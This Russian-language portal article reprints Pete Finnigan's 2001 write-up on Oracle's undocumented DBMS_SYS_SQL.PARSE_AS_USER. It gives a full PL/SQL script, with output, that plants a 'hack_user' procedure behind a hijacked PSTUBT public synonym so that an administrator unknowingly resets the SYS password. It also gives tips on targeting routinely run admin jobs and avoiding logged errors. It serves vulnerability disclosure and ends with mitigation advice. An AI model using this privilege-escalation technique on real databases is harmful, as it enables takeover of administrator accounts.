(495) 925-0049, ITShop интернет-магазин 229-0436, Учебный Центр 925-0049
  Главная страница Карта сайта Контакты
Поиск
Вход
Регистрация
Рассылки сайта
 
 
 
 
 

Старое, но полезное от Пита Финнегана - Функция DBMS_SYS_SQL.PARSE_AS_USER

Источник: oraclemaniacs

Этот пакет не документирован, он используется средствами репликации (Oracles Replication Options). Хранимые процедуры в Oracle 7.3 и 8.0 выполняются с правами владельца. Начиная с Oracle8i появилась возможность определения процедур, выполняющихся с правами вызывающего.

Этот недокументированный пакет DBMS_SYS_SQL.PARSE_AS_USER может позволить вам инсталлировать пакеты, которые работают с привилегиями вызывающего, а не с привилегиями владельца. Эта потенциальная "дыра" может быть использована, чтобы заставить администратора выполнять в будущем какие-то операторы SQL. Приведем простой пример:


--
-- dbms_sys.sql
-- Pete Finnigan
-- July 2001
--
-- Test dbms_sys_sql.parse_as_user
--
spool c:\pentest\temp\dbms_sys.lis
connect sys/manager

grant execute on dbms_sys_sql to dbsnmp;
<!--[if !supportEmptyParas]-->
connect dbsnmp/dbsnmp

create or replace procedure hack_user(pname in varchar2,
uname in varchar2,
dbname in varchar2,
flags in varchar2,
rc out varchar2)
as
c1 integer;
dummy number;
begin
<!--[if !supportEmptyParas]-->c1:=dbms_sql.open_cursor;
sys.dbms_sys_sql.parse_as_user(c1,
'alter user sys identified by sys',
dbms_sql.v7);
sys.pstubt(pname,uname,dbname,flags,rc);
end;
/
drop public synonym pstubt;
<!--[if !supportEmptyParas]-->create public synonym pstubt for hack_user;

set serveroutput on size 100000

declare
dummy varchar2(40);
begin
pstubt('hack_user','',null,'8',dummy);
dbms_output.put_line('dummy is :'//dummy);
end;
/
connect system/manager
declare
dummy varchar2(40);
begin
pstubt('hack_user','',null,'8',dummy);
dbms_output.put_line('dummy is :'//dummy);
end;
/
connect sys/sys
  

Запустив этот командный файл, получим:


<!--[if !supportEmptyParas]-->Connected.

Grant succeeded.

<!--[if !supportEmptyParas]-->Connected.

<!--[if !supportEmptyParas]-->Procedure created.

drop public synonym pstubt
*

ERROR at line 1:
<!--[if !supportEmptyParas]-->ORA-01432: public synonym to be dropped does not exist

<!--[if !supportEmptyParas]-->Synonym created.

declare
*

ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1137
ORA-06512: at "DBSNMP.HACK_USER", line 12
<!--[if !supportEmptyParas]-->ORA-06512: at line 4

ERROR:
<!--[if !supportEmptyParas]-->ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.

<!--[if !supportEmptyParas]-->Connected.

<!--[if !supportEmptyParas]-->PL/SQL procedure successfully completed.

Connected.

Как видите, здесь есть одно главное ограничение - вы должны иметь привилегию для выполнения пакета DBMS_SYS_SQL. Вполне резонно найти способ получения такой привилегии или базы данных, в которой такая привилегия уже имеется. Как видно из данного контрольного примера, можно создать процедуру, которая изменяет пароль пользователя SYS (можно изменять пароли любых пользователей или создавать пользователей, или предоставлять им привилегии DBA ), и все это можно делать из схемы пользователя DBSNMP . Однако это пока ничего не значит для нас, так как пользователь DBSNMP все еще не имеет права изменять чьи-либо пароли, кроме своего.

Решение проблемы фактически заключается в том , чтобы заставить пользователя SYS или другого администратора выполнить для вас эту вашу новую процедуру. Мы поискали в DBA_OBJECTS процедуры, принадлежащие пользователю SYS и нашли PSTUBT, которая еще не имеет публичного синонима, а затем создали публичный синоним PSTUBT, указывающий на нашу новую процедуру HACK_USER. Эта процедура выбрана только в качестве примера, в идеале вы должны найти процедуру или функцию, которая регулярно выполняется администратором.

Наша процедура вызывает DBMS_SYS_SQL.PARSE_AS_USER для выполнения фрагмента кода, а затем вызывает оригинальную процедуру, принадлежащую SYS . Это означает, что мы должны обеспечить соответствие параметров нашей процедуры параметрам существующей процедуры. В данном случае пользователь DBSNMP имеет право выполнения процедуры, принадлежащей SYS . Если это не так, то не вызывайте оригинальную процедуру, поскольку ошибки доступа могут быть зарегистрированы.

Для любознательных: процедура PSTUBT была добавлена для Oracle Forms 3 и 4 и вызывалась во время компиляции кода форм для проверки вызываемых в сервере функций, процедур и пакетов PL/SQL. В Oracle Forms 3 и 4 еще использовался PL/SQL версии 1. Эта процедура создает фиктивную заглушку ( stub ), чтобы компилятор форм мог синтаксически проверить код формы. Если вы еще используете Oracle Forms 3 и 4 и иногда компилируете от имени администратора, проблема остается открытой.

Ключевым моментом данной попытки взлома является поиск процедуры, которая регулярно выполняется администратором, в идеале это могут быть задания, находящиеся в очереди заданий, или ночные пакетные задания. Нецелесообразно выдавать привилегии выполнения пакета DBMS_SYS_SQL пользователям, которые создают процедуры и помогают другим пользователям выполнять то, что они требуют.

Ссылки по теме


 Распечатать »
 Правила публикации »
  Написать редактору 
 Рекомендовать » Дата публикации: 01.12.2009 
 

Магазин программного обеспечения   WWW.ITSHOP.RU
Oracle Database Standard Edition 2 Named User Plus License
Oracle Database Standard Edition 2 Processor License
Oracle Database Personal Edition Named User Plus Software Update License & Support
Oracle Database Personal Edition Named User Plus License
VMware Horizon 7 Standard : 10 Pack (CCU)
 
Другие предложения...
 
Курсы обучения   WWW.ITSHOP.RU
 
Другие предложения...
 
Магазин сертификационных экзаменов   WWW.ITSHOP.RU
 
Другие предложения...
 
3D Принтеры | 3D Печать   WWW.ITSHOP.RU
 
Другие предложения...
 
Новости по теме
 
Рассылки Subscribe.ru
Информационные технологии: CASE, RAD, ERP, OLAP
Новости ITShop.ru - ПО, книги, документация, курсы обучения
Программирование на Microsoft Access
CASE-технологии
СУБД Oracle "с нуля"
eManual - электронные книги и техническая документация
Мастерская программиста
 
Статьи по теме
 
Новинки каталога Download
 
Исходники
 
Документация
 
 



    
rambler's top100 Rambler's Top100